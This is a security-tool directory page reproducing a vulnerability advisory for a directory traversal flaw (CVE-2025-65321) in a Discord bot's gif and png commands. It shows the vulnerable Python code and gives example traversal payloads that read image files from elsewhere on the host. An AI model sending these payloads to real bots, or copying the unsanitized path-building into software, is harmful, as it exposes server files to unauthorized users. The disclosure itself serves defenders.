Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-65321 — Language Sloth Sloth Bot 1.0 is vulnerable to Directory Traversal in the gif() and png() functions. The functions build file paths using unsanitized user input for the 'name' parameter, allowing attackers to reference files outside the intended resource directories. | Kitploit
Tools/GitHubGitHub/smarttfoxx/cve-2025-65321
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation Gathering
GitHubsmarttfoxx/cve-2025-65321

CVE-2025-65321

Language Sloth Sloth Bot 1.0 is vulnerable to Directory Traversal in the gif() and png() functions. The functions build file paths using unsanitized user input for the 'name' parameter, allowing attackers to reference files outside the intended resource directories.

View Repository
28 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-65321

The Language Sloth Discord bot is vulnerable to Directory Traversal in the gif() and png() functions. The functions build file paths using unsanitized user input for the 'name' parameter, allowing attackers to reference files outside the intended resource directories.

The functions "gif" and "png" under the file files.py are vulnerable to directory traversal as they use "open" to locally retrieve files from the server hosting the bot. The payloads below allow any user on discord to retrieve ".gif" and ".png" files hosted anywhere on the server that is hosting the bot.

root@kitploit:~
async def gif(self, ctx, name: str = None):
        '''
        (ADM) Sends a gif from the bot's gif folder.
        :param name: The name of the gif file.
        '''
        await ctx.message.delete()
        try:
            with open(f'./gif/{name}.gif', 'rb') as pic:
                await ctx.send(file=discord.File(pic))
        except FileNotFoundError:
            return await ctx.send("**File not found!**")
root@kitploit:~
async def png(self, ctx, name: str = None):
        '''
        (ADM) Sends a png from the bot's png folder.
        :param name: The name of the png file.
        '''
        await ctx.message.delete()
        try:
            await ctx.send(file=discord.File(f'./png/{name}.png'))
        except FileNotFoundError:
            return await ctx.send("**File not found!**")

The name parameter is directly interpolated into the file path without validation or sanitization:

root@kitploit:~
f'./gif/{name}.gif'
f'./png/{name}.png'

Example payloads:

root@kitploit:~
z!gif ..\..\..\..\Windows\filename
root@kitploit:~
z!png ..\..\..\..\Windows\filename
image

The image above shows extraction of an image located at C:\Windows\cat.gif

Download Tool